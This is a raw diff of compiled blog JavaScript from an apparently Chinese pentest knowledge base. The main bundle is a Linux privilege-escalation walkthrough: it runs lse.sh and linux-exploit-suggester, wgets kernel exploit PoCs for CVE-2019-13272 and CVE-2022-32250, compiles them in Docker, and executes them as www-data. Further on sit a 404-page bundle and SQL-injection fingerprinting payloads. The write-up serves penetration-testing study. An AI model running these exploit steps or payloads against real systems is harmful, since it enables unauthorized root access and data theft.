2>/dev/null\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644114.png",alt:"image-20240112171848295"})}),"\n",(0,i.jsx)(n.p,{children:"\u4fe1\u606f\u6536\u96c6\u811a\u672c"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:'wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh\n'})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-tex",children:"=====================( Current Output Verbosity Level: 0 )======================\n===============================================================( humanity )=====\n[!] nowar0 Should we question autocrats and their \"military operations\"?... yes!\n---\n NO \n WAR \n---\n==================================================================( users )=====\n[i] usr000 Current user groups............................................. yes!\n[*] usr010 Is current user in an administrative group?..................... nope\n[*] usr020 Are there other users in administrative groups?................. nope\n[*] usr030 Other users with shell.......................................... yes!\n[i] usr040 Environment information......................................... skip\n[i] usr050 Groups for other users.......................................... skip\n[i] usr060 Other users..................................................... skip\n[*] usr070 PATH variables defined inside /etc.............................. yes!\n[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope\n===================================================================( sudo )=====\n[!] sud000 Can we sudo without a password?................................. nope\n[!] sud010 Can we list sudo commands without a password?................... nope\n[!] sud020 Can we sudo with a password?.................................... nope\n[!] sud030 Can we list sudo commands with a password?...................... nope\n[*] sud040 Can we read sudoers files?...................................... nope\n[*] sud050 Do we know if any other users used sudo?........................ nope\n============================================================( file system )=====\n[*] fst000 Writable files outside user's home.............................. yes!\n[*] fst010 Binaries with setuid bit........................................ yes!\n[!] fst020 Uncommon setuid binaries........................................ nope\n[!] fst030 Can we write to any setuid binary?.............................. nope\n[*] fst040 Binaries with setgid bit........................................ skip\n[!] fst050 Uncommon setgid binaries........................................ skip\n[!] fst060 Can we write to any setgid binary?.............................. skip\n[*] fst070 Can we read /root?.............................................. nope\n[*] fst080 Can we read subdirectories under /home?......................... nope\n[*] fst090 SSH files in home directories................................... nope\n[*] fst100 Useful binaries................................................. yes!\n[*] fst110 Other interesting files in home directories..................... nope\n[!] fst120 Are there any credentials in fstab/mtab?........................ nope\n[*] fst130 Does 'www-data' have mail?...................................... nope\n[!] fst140 Can we access other users mail?................................. nope\n[*] fst150 Looking for GIT/SVN repositories................................ nope\n[!] fst160 Can we write to critical files?................................. nope\n[!] fst170 Can we write to critical directories?........................... nope\n[!] fst180 Can we write to directories from PATH defined in /etc?.......... nope\n[!] fst190 Can we read any backup?......................................... nope\n[!] fst200 Are there possible credentials in any shell history file?....... nope\n[!] fst210 Are there NFS exports with 'no_root_squash' option?............. nope\n[*] fst220 Are there NFS exports with 'no_all_squash' option?.............. nope\n[i] fst500 Files owned by user 'www-data'.................................. skip\n[i] fst510 SSH files anywhere.............................................. skip\n[i] fst520 Check hosts.equiv file and its contents......................... skip\n[i] fst530 List NFS server shares.......................................... skip\n[i] fst540 Dump fstab file................................................. skip\n=================================================================( system )=====\n[i] sys000 Who is logged in................................................ skip\n[i] sys010 Last logged in users............................................ skip\n[!] sys020 Does the /etc/passwd have hashes?............................... nope\n[!] sys022 Does the /etc/group have hashes?................................ nope\n[!] sys030 Can we read shadow files?....................................... nope\n[*] sys040 Check for other superuser accounts.............................. nope\n[*] sys050 Can root user log in via SSH?................................... nope\n[i] sys060 List available shells........................................... skip\n[i] sys070 System umask in /etc/login.defs................................. skip\n[i] sys080 System password policies in /etc/login.defs..................... skip\n===============================================================( security )=====\n[*] sec000 Is SELinux present?............................................. nope\n[*] sec010 List files with capabilities.................................... nope\n[!] sec020 Can we write to a binary with caps?............................. nope\n[!] sec030 Do we have all caps in any binary?.............................. nope\n[*] sec040 Users with associated capabilities.............................. nope\n[!] sec050 Does current user have capabilities?............................ skip\n[!] sec060 Can we read the auditd log?..................................... nope\n========================================================( recurrent tasks )=====\n[*] ret000 User crontab.................................................... nope\n[!] ret010 Cron tasks writable by user..................................... nope\n[*] ret020 Cron jobs....................................................... yes!\n[*] ret030 Can we read user crontabs....................................... nope\n[*] ret040 Can we list other user cron tasks?.............................. nope\n[*] ret050 Can we write to any paths present in cron jobs.................. yes!\n[!] ret060 Can we write to executable paths present in cron jobs........... nope\n[i] ret400 Cron files...................................................... skip\n[*] ret500 User systemd timers............................................. nope\n[!] ret510 Can we write in any system timer?............................... nope\n[i] ret900 Systemd timers.................................................. skip\n================================================================( network )=====\n[*] net000 Services listening only on localhost............................ yes!\n[!] net010 Can we sniff traffic with tcpdump?.............................. nope\n[i] net500 NIC and IP information.......................................... skip\n[i] net510 Routing table................................................... skip\n[i] net520 ARP table....................................................... skip\n[i] net530 Nameservers..................................................... skip\n[i] net540 Systemd Nameservers............................................. skip\n[i] net550 Listening TCP................................................... skip\n[i] net560 Listening UDP................................................... skip\n===============================================================( services )=====\n[!] srv000 Can we write in service files?.................................. nope\n[!] srv010 Can we write in binaries executed by services?.................. nope\n[*] srv020 Files in /etc/init.d/ not belonging to root..................... nope\n[*] srv030 Files in /etc/rc.d/init.d not belonging to root................. nope\n[*] srv040 Upstart files not belonging to root............................. nope\n[*] srv050 Files in /usr/local/etc/rc.d not belonging to root.............. nope\n[i] srv400 Contents of /etc/inetd.conf..................................... skip\n[i] srv410 Contents of /etc/xinetd.conf.................................... skip\n[i] srv420 List /etc/xinetd.d if used...................................... skip\n[i] srv430 List /etc/init.d/ permissions................................... skip\n[i] srv440 List /etc/rc.d/init.d permissions............................... skip\n[i] srv450 List /usr/local/etc/rc.d permissions............................ skip\n[i] srv460 List /etc/init/ permissions..................................... skip\n[!] srv500 Can we write in systemd service files?.......................... nope\n[!] srv510 Can we write in binaries executed by systemd services?.......... nope\n[*] srv520 Systemd files not belonging to root............................. nope\n[i] srv900 Systemd config files permissions................................ skip\n===============================================================( software )=====\n[!] sof000 Can we connect to MySQL with root/root credentials?............. nope\n[!] sof010 Can we connect to MySQL as root without password?............... nope\n[!] sof015 Are there credentials in mysql_history file?.................... nope\n[!] sof020 Can we connect to PostgreSQL template0 as postgres and no pass?. nope\n[!] sof020 Can we connect to PostgreSQL template1 as postgres and no pass?. nope\n[!] sof020 Can we connect to PostgreSQL template0 as psql and no pass?..... nope\n[!] sof020 Can we connect to PostgreSQL template1 as psql and no pass?..... nope\n[*] sof030 Installed apache modules........................................ yes!\n[!] sof040 Found any .htpasswd files?...................................... nope\n[!] sof050 Are there private keys in ssh-agent?............................ nope\n[!] sof060 Are there gpg keys cached in gpg-agent?......................... nope\n[!] sof070 Can we write to a ssh-agent socket?............................. nope\n[!] sof080 Can we write to a gpg-agent socket?............................. nope\n[!] sof090 Found any keepass database files?............................... nope\n[!] sof100 Found any 'pass' store directories?............................. nope\n[!] sof110 Are there any tmux sessions available?.......................... nope\n[*] sof120 Are there any tmux sessions from other users?................... nope\n[!] sof130 Can we write to tmux session sockets from other users?.......... nope\n[!] sof140 Are any screen sessions available?.............................. nope\n[*] sof150 Are there any screen sessions from other users?................. nope\n[!] sof160 Can we write to screen session sockets from other users?........ nope\n[*] sof170 Can we access MongoDB databases without credentials?............ nope\n[!] sof180 Can we access any Kerberos credentials?......................... nope\n[i] sof500 Sudo version.................................................... skip\n[i] sof510 MySQL version................................................... skip\n[i] sof520 Postgres version................................................ skip\n[i] sof530 Apache version.................................................. skip\n[i] sof540 Tmux version.................................................... skip\n[i] sof550 Screen version.................................................. skip\n=============================================================( containers )=====\n[*] ctn000 Are we in a docker container?................................... nope\n[*] ctn010 Is docker available?............................................ nope\n[!] ctn020 Is the user a member of the 'docker' group?..................... nope\n[*] ctn200 Are we in a lxc container?...................................... nope\n[!] ctn210 Is the user a member of any lxc/lxd group?...................... nope\n==============================================================( processes )=====\n[i] pro000 Waiting for the process monitor to finish....................... yes!\n[i] pro001 Retrieving process binaries..................................... yes!\n[i] pro002 Retrieving process users........................................ yes!\n[!] pro010 Can we write in any process binary?............................. nope\n[*] pro020 Processes running with root permissions......................... yes!\n[*] pro030 Processes running by non-root users with shell.................. nope\n[i] pro500 Running processes............................................... skip\n[i] pro510 Running process binaries and permissions........................ skip\n===================================================================( CVEs )=====\n[!] cve-2019-5736 Escalate in some types of docker containers.............. nope\n[!] cve-2021-3156 Sudo Baron Samedit vulnerability......................... nope\n[!] cve-2021-3560 Checking for policykit vulnerability..................... nope\n[!] cve-2021-4034 Checking for PwnKit vulnerability........................ nope\n[!] cve-2022-0847 Dirty Pipe vulnerability................................. nope\n[!] cve-2022-25636 Netfilter linux kernel vulnerability.................... nope\n[!] cve-2023-22809 Sudoedit bypass in Sudo <= 1.9.12p1..................... nope\n\n==================================( FINISHED )==================================\n"})}),"\n",(0,i.jsx)(n.p,{children:"\u67e5\u627e\u672c\u5730\u63d0\u6743\u6f0f\u6d1e"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O linux-exploit-suggester.sh\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-tex",children:"./linux-exploit-suggester.sh\n\nAvailable information:\n\nKernel version: 4.19.24\nArchitecture: x86_64\nDistribution: N/A\nDistribution version: N/A\nAdditional checks (CONFIG_*, sysctl entries, custom Bash commands): performed\nPackage listing: N/A\n\nSearching among:\n\n81 kernel space exploits\n0 user space exploits\n\nPossible Exploits:\n\n[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)\n\n Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/\nhttps://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/\n Exposure: less probable\n Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}\n Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c\n Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)\n\n[+] [CVE-2022-2586] nft_object UAF\n\n Details: https://www.openwall.com/lists/oss-security/2022/08/29/5\n Exposure: less probable\n Tags: ubuntu=(20.04){kernel:5.12.13}\n Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1\n Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)\n\n[+] [CVE-2021-27365] linux-iscsi\n\n Details: https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html\n Exposure: less probable\n Tags: RHEL=8\n Download URL: https://codeload.github.com/grimm-co/NotQuite0DayFriday/zip/trunk\n Comments: CONFIG_SLAB_FREELIST_HARDENED must not be enabled\n\n[+] [CVE-2021-22555] Netfilter heap out-of-bounds write\n\n Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html\n Exposure: less probable\n Tags: ubuntu=20.04{kernel:5.8.0-*}\n Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c\n ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c\n Comments: ip_tables kernel module must be loaded\n\n[+] [CVE-2019-15666] XFRM_UAF\n\n Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc\n Exposure: less probable\n Download URL: \n Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled\n\n[+] [CVE-2019-13272] PTRACE_TRACEME\n\n Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903\n Exposure: less probable\n Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}\n Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip\n ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c\n Comments: Requires an active PolKit agent.\n\n"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\u5c1d\u8bd5",(0,i.jsx)(n.code,{children:"CVE-2019-13272"})]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u67e5\u770b",(0,i.jsx)(n.code,{children:"gblic"}),"\u7248\u672c"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"www-data@mituan-cg-2106:/tmp$ ldd --version\nldd (Debian GLIBC 2.24-11+deb9u3) 2.24\nCopyright (C) 2016 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions. There is NO\nwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\nWritten by Roland McGrath and Ulrich Drepper.\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5b89\u88c5",(0,i.jsx)(n.code,{children:"glibc-2.24"})]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.del,{children:"\u8fd9\u4e2a\u65b9\u6cd5\u51fa\u4e86\u5f88\u591a\u95ee\u9898\uff0c\u5e72\u8106\u653e\u5f03\u4e86 \u76f4\u63a5 \u7528docker \u7f16\u8bd1 poc \u5c31\u884c\u4e86\u54c7"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"mkdir -p /tmp/glibc-2.24/src-build/ && cd /tmp/glibc-2.24\nwget https://ftp.gnu.org/gnu/glibc/glibc-2.24.tar.gz && tar -xvf glibc-2.24.tar.gz\ncd src-build/ && ../configure --prefix=/opt/glibc-2.24\nmake && make install\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u4f7f\u7528docker \u7f16\u8bd1",(0,i.jsx)(n.code,{children:"glibc-2.24"})," \u548c \u7f16\u8bd1 ",(0,i.jsx)(n.code,{children:"poc"})," \u5e76\u76f4\u63a5\u5bfc\u51fa",(0,i.jsx)(n.code,{children:"a.out"})]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-dockerfile",children:'# \u4f7f\u7528 Debian 9 (Stretch) \u4f5c\u4e3a\u57fa\u7840\u955c\u50cf\nFROM debian:9\n# \u89e3\u51b3 Debian 9 \u5df2\u7ecf\u8fbe\u5230\u4e86\u5176\u751f\u547d\u5468\u671f\u7684\u7ec8\u70b9\u5e76\u88ab\u79fb\u52a8\u5230\u4e86\u5f52\u6863\u72b6\u6001 \u95ee\u9898\nRUN echo "deb http://archive.debian.org/debian/ stretch main contrib non-free" > /etc/apt/sources.list \\\n && echo "deb http://archive.debian.org/debian-security/ stretch/updates main" >> /etc/apt/sources.list\n\n# \u5b89\u88c5\u7f16\u8bd1\u4f9d\u8d56 \u5ffd\u7565 APT \u5b89\u5168\u8b66\u544a\nRUN apt-get -o Acquire::Check-Valid-Until=false update && apt-get install -y \\\n build-essential \\\n gcc \\\n g++ \\\n bison \\\n perl \\\n python3 \\\n git \\\n gawk \\\n wget \n\n# \u521b\u5efa\u4e00\u4e2a\u5de5\u4f5c\u76ee\u5f55\nWORKDIR /glibc-build\n\n# \u514b\u9686 glibc \u6e90\u4ee3\u7801\nRUN git clone https://sourceware.org/git/glibc.git /glibc-source\n\n# \u5207\u6362\u5230\u7279\u5b9a\u7684\u7248\u672c\nRUN cd /glibc-source && git checkout glibc-2.24\n\n# \u914d\u7f6e\u6784\u5efa\u76ee\u5f55\nRUN mkdir /glibc-build/build\nWORKDIR /glibc-build/build\n\n# \u914d\u7f6e glibc\nRUN /glibc-source/configure --prefix=/opt/glibc-2.24\n\n# \u7f16\u8bd1\u548c\u5b89\u88c5\nRUN make -j$(nproc) && make install\n\n# \u8bbe\u7f6e\u5377\uff0c\u7528\u4e8e\u5bfc\u51fa\u7f16\u8bd1\u597d\u7684\u6587\u4ef6\nVOLUME /tmp\n\n'})}),"\n",(0,i.jsxs)(n.p,{children:["\u6267\u884c\u547d\u4ee4 ",(0,i.jsx)(n.del,{children:"\u597d\u4e86\u5f00\u59cb\u7b49\u5f85\u4e2a\u4e0a\u4e07\u5e74"})]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"docker build -t glibc-2.24-debian9 .\ndocker run --rm -v /tmp/1:/tmp -it glibc-2.24-debian9 /bin/bash \n# \u5bb9\u5668\u4e2d\nwget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c -O poc.c\ngcc -Wall --std=gnu99 -s /tmp/poc.c -o /tmp/ptrace_traceme_root\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u4e0a\u4f20\u5e76\u6267\u884c ",(0,i.jsx)(n.del,{children:"\u73a9\u4e2a\u5c41\u767d\u8d39\u529b\u6c14"})]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"chmod +x /tmp/ptrace_traceme_root\n/tmp/ptrace_traceme_root\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644115.png",alt:"image-20240112202526854"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\u5c1d\u8bd5 ",(0,i.jsx)(n.code,{children:"CVE-2022-32250"})]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4e0a\u9762docker \u5bb9\u5668\u73af\u5883\uff0c\u7f16\u8bd1poc"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"docker run --rm -v /tmp/1:/tmp -it glibc-2.24-debian9 /bin/bash \n# \u5bb9\u5668\u4e2d\nwget https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c -O exp.c\ngcc exp.c -o exp -l mnl -l nftnl -w\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.del,{children:"\u51fa\u9519\u5566"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644116.png",alt:"image-20240112204023742"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5b89\u88c5 ",(0,i.jsx)(n.code,{children:"libmnl"}),"\uff0c\u5e76\u518d\u6b21\u7f16\u8bd1"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"# \u5bb9\u5668\u4e2d\napt-get install -y libmnl-dev\ngcc exp.c -o exp -l mnl -l nftnl -w\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.del,{children:"\u8fd8\u662f\u51fa\u9519\u5566"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644117.png",alt:"image-20240112204205475"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5b89\u88c5 ",(0,i.jsx)(n.code,{children:"libnftnl-dev"}),"\uff0c\u5e76\u518d\u6b21\u7f16\u8bd1"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"apt install -y libnftnl-dev --allow-unauthenticated\ngcc exp.c -o exp -l mnl -l nftnl -w\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.del,{children:"\u53c8\u53c8\u53c8\u51fa\u9519\u4e86"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644118.png",alt:"image-20240112204841016"})}),"\n",(0,i.jsxs)(n.p,{children:["GPT\u63d0\u793a\u7684\u662f 5.1.x \u624d\u63d0\u4f9b\u7684 ",(0,i.jsx)(n.code,{children:"apt search linux-headers"})," \u770b\u4e86\u4e00\u4e0b\uff0c\u53d1\u73b0\u5e76\u6ca1\u6709\uff0c\u5c31\u653e\u5f03\u4e86"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644119.png",alt:"image-20240112205140417"})}),"\n",(0,i.jsx)(n.p,{children:"\u770b\u4e86\u4e00\u4e0b\u6570\u636e\u5e93\u4e5f\u6ca1\u6709\u5565\u597d\u7528\u7684\uff0c\u7b97\u4e86"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644120.png",alt:"image-20240112212017967"})})]})}function d(e={}){const{wrapper:n}={...(0,o.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(p,{...e})}):p(e)}}}]); \ No newline at end of file diff --git a/assets/js/2237.e6f699de.js b/assets/js/2237.e6f699de.js new file mode 100644 index 0000000..6c996a1 --- /dev/null +++ b/assets/js/2237.e6f699de.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2237],{23363:(e,t,i)=>{i.d(t,{A:()=>l});i(96540);var n=i(34164),o=i(21312),s=i(51107),a=i(74848);function l({className:e}){return(0,a.jsx)("main",{className:(0,n.A)("container margin-vert--xl",e),children:(0,a.jsx)("div",{className:"row",children:(0,a.jsxs)("div",{className:"col col--6 col--offset-3",children:[(0,a.jsx)(s.A,{as:"h1",className:"hero__title",children:(0,a.jsx)(o.A,{id:"theme.NotFound.title",description:"The title of the 404 page",children:"Page Not Found"})}),(0,a.jsx)("p",{children:(0,a.jsx)(o.A,{id:"theme.NotFound.p1",description:"The first paragraph of the 404 page",children:"We could not find what you were looking for."})}),(0,a.jsx)("p",{children:(0,a.jsx)(o.A,{id:"theme.NotFound.p2",description:"The 2nd paragraph of the 404 page",children:"Please contact the owner of the site that linked you to the original URL and let them know their link is broken."})})]})})})}},82237:(e,t,i)=>{i.r(t),i.d(t,{default:()=>r});i(96540);var n=i(21312),o=i(45500),s=i(21656),a=i(23363),l=i(74848);function r(){const e=(0,n.T)({id:"theme.NotFound.title",message:"Page Not Found"});return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(o.be,{title:e}),(0,l.jsx)(s.A,{children:(0,l.jsx)(a.A,{})})]})}}}]); \ No newline at end of file diff --git a/assets/js/22cb82dc.db1af0ea.js b/assets/js/22cb82dc.db1af0ea.js new file mode 100644 index 0000000..636f187 --- /dev/null +++ b/assets/js/22cb82dc.db1af0ea.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1445],{28453:(e,n,s)=>{s.d(n,{R:()=>d,x:()=>i});var t=s(96540);const l={},r=t.createContext(l);function d(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:d(e.components),t.createElement(r.Provider,{value:n},e.children)}},29387:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>i,default:()=>j,frontMatter:()=>d,metadata:()=>t,toc:()=>x});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","title":"\u6570\u636e\u5e93\u8bc6\u522b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/02.\u6570\u636e\u5e93\u8bc6\u522b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/02.\u6570\u636e\u5e93\u8bc6\u522b.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6ce8\u5165\u5224\u65ad","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad"},"next":{"title":"Oracle","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle"}}');var l=s(74848),r=s(28453);const d={},i=void 0,c={},x=[{value:"Oracle",id:"oracle",level:2},{value:"MSSQL",id:"mssql",level:2},{value:"PostgreSQL",id:"postgresql",level:2},{value:"Access",id:"access",level:2},{value:"\u603b\u7ed3\u7ecf\u9a8c",id:"\u603b\u7ed3\u7ecf\u9a8c",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function h(e){const n={a:"a",blockquote:"blockquote",br:"br",code:"code",h2:"h2",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bed\u53e5"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"SLEEP\u51fd\u6570"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.php?id=1'-SLEEP(1)=0 LIMIT 1 --"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"BENCHMARK\u51fd\u6570"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5b57\u7b26\u4e32\u8fde\u63a5(\u6ce8\u610f\u6709\u4e2a\u7a7a\u683c)"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"page.php?id=' 'mysql' --"})," ",(0,l.jsx)(n.code,{children:"page.php?id=' and concat('some','string')"})]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u7248\u672c\u4fe1\u606f"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"select @@version"})," ",(0,l.jsx)(n.code,{children:"select version()"})]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u9519\u8bef\u6d88\u606f(\u6839\u636e\u8fd4\u56de\u7684\u9519\u8bef\u4fe1\u606f\u5224\u65ad)"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.php?id='"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u7279\u6709\u51fd\u6570"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"select connection_id()"})," ",(0,l.jsx)(n.code,{children:"select last_insert_id()"})," ",(0,l.jsx)(n.code,{children:"select 